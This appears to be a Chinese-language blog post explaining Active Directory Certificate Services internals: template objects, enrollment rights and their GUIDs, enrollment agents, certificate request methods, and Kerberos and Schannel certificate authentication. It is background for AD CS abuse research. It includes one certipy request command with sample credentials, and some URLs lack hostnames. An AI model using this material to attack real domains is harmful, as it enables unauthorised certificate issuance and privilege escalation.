AD CS将可用的证书模板作为具有pKICertificateTemplate对象类的AD对象存储在以下容器中:
CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
AD证书模板对象的属性定义了其设置,其安全描述符控制谁可以注册证书或编辑证书模板。
AD证书模板对象上的pKIExtendedKeyUsage属性包含在模板中启用的OID数组。这些扩展密钥用途(EKU)OIDs影响证书的使用方式。你可以在这里找到可能的OID列表。
https://www.pkisolutions.com/object-identifiers-oid-in-pki/
证书注册
管理员需要创建证书模板,然后企业CA将该模板“发布”,使其可供客户端注册。AD CS规定,在企业CA上启用证书模板是通过将模板名称添加到AD对象的certificatetemplates字段来实现的。
AD CS使用两个安全描述符定义注册权限-哪些主体可以请求证书:一个在证书模板AD对象上,另一个在企业CA本身上。 客户端需要在这两个安全描述符中都被授权,才能够请求证书。
证书模板注册权限
-
ACE授予主体证书注册扩展权限(the Certificate-Enrollment extended right)。原始ACE授予主体RIGHT_DS_CONTROL_ACCESS45访问权限,其中ObjectType设置为0e10c968-78fb-11d2-90d4-00c04f79dc5547。此GUID对应证书注册扩展权限。
-
ACE授予主体证书自动注册扩展权限(the Certificate-AutoEnrollment extended right)。原始ACE授予主体RIGHT_DS_CONTROL_ACCESS48访问权限,其中ObjectType设置为a05b8cc2-17bc-4802-a710-e7c15ab866a249。此GUID对应证书自动注册扩展权限。
-
ACE授予主体所有扩展权限(all ExtendedRights)。原始ACE启用RIGHT_DS_CONTROL_ACCESS访问权限,其中ObjectType设置为00000000-0000-0000-0000-000000000000。此GUID对应所有扩展权限。
-
ACE授予主体FullControl/GenericAll权限。原始ACE启用FullControl/GenericAll访问权限。
企业CA的注册权限
企业CA上配置的安全描述符定义了这些权限,并且可以通过在证书颁发机构MMC插件certsrv.msc中右键单击CA → 属性 → 安全来查看该描述符。
这最终会在CA服务器上的注册表项HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration<CA名称>中设置Security值。我们遇到过几个AD CS服务器,通过远程注册表将低特权用户授予对该键的远程访问权限。
低特权用户还可以使用ICertAdminD2 COM接口的GetCASecurity方法通过DCOM枚举此项。但是,正常的Windows客户端需要安装远程服务器管理工具(RSAT)才能使用它,因为COM接口及其实现它的任何COM对象默认情况下都不会存在于Windows上。
发布要求
管理批准
CA证书管理员批准导致证书模板在AD对象的msPKI-EnrollmentFlag属性上设置CT_FLAG_PEND_ALL_REQUESTS(0x2)位。这将基于该模板的所有证书请求置于挂起状态(在certsrv.msc的“挂起请求”部分可见),这需要证书管理员在颁发证书之前批准或拒绝该请求。
登记代理、授权签名和应用策略
授权签名的数量以及应用策略。前者控制着CA接受CSR所需的签名数量。后者定义了CSR签名证书必须具备的EKU OID。
这些设置的常见用途是用于登记代理。登记代理是AD CS术语,指可以代表其他用户请求证书的实体。为此,CA必须向登记代理帐户颁发包含至少证书请求代理EKU(OID 1.3.6.1.4.1.311.20.2.1)的证书。一旦颁发,登记代理就可以代表其他用户签署CSR并请求证书。只有在以下非全面条件的情况下,CA才会将登记代理作为另一个用户发出的证书(主要在默认策略模块certpdef.dll中实现):
-
Windows用户对目标证书模板具有登记权限。
-
如果证书模板的架构版本为1,CA将要求签名证书在颁发证书之前具备证书请求代理OID。证书模板的架构版本是指其AD对象的msPKI-Template-Schema-Version属性中指定的版本。
-
如果证书模板的架构版本为2:
-
该模板必须设置“这个授权签名的数量”设置,并且指定数量的登记代理必须签署CSR(模板的mspkira-signature AD属性定义了此设置)。换句话说,此设置指定在CA考虑颁发证书之前,需要多少个登记代理对CSR进行签名。
-
该模板的“应用策略”颁发限制必须设置为“证书请求代理”。
请求证书
-
使用Windows客户端证书登记协议(MS-WCCE),这是一组与各种AD CS功能(包括登记)交互的分布式组件对象模型(DCOM)接口。默认情况下,所有AD CS服务器都启用了DCOM服务器,并且我们经常看到客户端通过此方法请求证书。
-
通过ICertPassage远程协议(MS-ICPR),可以使用命名管道或TCP/IP进行远程过程调用(RPC)通信。
-
访问证书登记Web界面。要使用此功能,ADCS服务器需要安装证书颁发机构Web登记角色。启用后,用户可以访问运行在http:///certsrv/的托管在IIS上的ASP Web登记应用程序。 certipy req -ca 'corp-DC-CA' -username john@corp.local -password Passw0rd -web -debug
-
与证书登记服务(CES)进行交互。要使用此功能,服务器需要安装证书登记Web服务角色。启用后,用户可以通过https:///_CES_Kerberos/service.svc访问Web服务以请求证书。此服务与证书登记策略(CEP)服务配合使用(通过证书登记策略Web服务角色安装),客户端可以使用该服务在URL https:///ADPolicyProvider\_CEP\_Kerberos/service.svc 列出证书模板。在内部,证书登记和策略Web服务分别实现了MS-WSTEP和MS-XCEP(两种基于SOAP的协议)。
-
使用网络设备登记服务。要使用此功能,服务器需要安装网络设备登记服务角色,该服务允许客户端(即网络设备)通过简单证书登记协议(SCEP)获取证书。启用后,管理员可以从URL http:///CertSrv/mscep\_admin/获取一次性密码(OTP)。然后,管理员可以将OTP提供给网络设备,设备将使用SCEP通过URL http://NDESSERVER/CertSrv/mscep/请求证书。
-
在Windows机器上,用户可以使用GUI请求证书,方法是启动certmgr.msc(用于用户证书)或certlm.msc(用于计算机证书),展开个人证书存储→右键点击"Certificates"→所有任务→请求新证书。
-
也可以使用内置的certreq.exe命令或PowerShell的Get-Certificate命令进行证书登记。
证书认证
AD(Active Directory)默认支持两种协议的证书认证:Kerberos和Secure Channel(Schannel)。
Kerberos 身份验证和 NTAuthCertificates 容器
总而言之,用户将使用其证书的私钥对TGT请求的认证器进行签名,并将此请求提交给域控制器。域控制器执行多个验证步骤,如果一切顺利,则发放一个TGT。
更详细地说: KDC(密钥分发中心)会验证用户的证书(时间、路径和吊销状态),以确保证书来自可信任的源。KDC使用CryptoAPI从用户的证书到位于域控制器上的根证书颁发机构(CA)证书之间建立一个认证路径。然后,KDC使用CryptoAPI验证预身份验证数据字段中包含的已签名认证器上的数字签名。域控制器验证签名,并使用用户证书上的公钥来证明该请求源自与该公钥对应的私钥的所有者。KDC还验证发行者是否受信任,并且是否出现在NTAUTH证书存储库中。
这里提到的“NTAUTH证书存储库”是指AD CS在以下位置安装的一个AD对象:
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
通过将CA证书发布到企业级NTAuth存储库,管理员表示信任该CA可以发布这些类型的证书。Windows CA会自动将其CA证书发布到此存储库。
这意味着当AD CS创建新的CA(或更新CA证书)时,它会通过将新证书添加到对象的cacertificate属性中,将新证书发布到NTAuthCertificates对象中。
在证书认证期间,DC可以验证认证证书链到由NTAuthCertificates对象定义的CA证书。NTAuthCertificates对象中的CA证书必须再次链接到根CA。这里的重要信息是,NTAuthCertificates对象是Active Directory中证书认证的信任根!
安全通道 (Schannel) 身份验证
Schannel是Windows在建立TLS/SSL连接时使用的安全支持提供程序(SSP)。Schannel支持客户端身份验证(以及许多其他功能),使远程服务器能够验证连接用户的身份。它通过PKI实现这一点,其中证书是主要凭据。
在TLS握手期间,服务器请求客户端提供用于身份验证的证书。客户端之前从服务器信任的CA获得了客户端身份验证证书,将其证书发送到服务器。然后服务器验证证书是否正确,并在一切正常的情况下授予用户访问权限。
当一个帐户使用证书对AD进行身份验证时,DC需要以某种方式将证书凭据映射到一个AD帐户。Schannel首先尝试使用Kerberos的S4U2Self功能将凭据映射到用户帐户。
如果不成功,它将尝试使用证书的SAN扩展、主题和颁发者字段的组合,或者仅根据颁发者将证书映射到用户帐户。默认情况下,在AD环境中,不支持使用Schannel直接进行AD身份验证的协议并不多。WinRM、RDP和IIS都支持使用Schannel进行客户端身份验证,但需要额外的配置,并且在某些情况下(例如WinRM),无法与Active Directory集成一个通常有效的协议(假设已经设置了AD CS)是LDAPS。命令Get-LdapCurrentUser演示了如何使用.NET库对LDAP进行身份验证。该命令执行一个LDAP的“Who am I?”扩展操作来显示当前正在进行身份验证的用户。
- 点赞
- 收藏
- 关注作者
评论(0)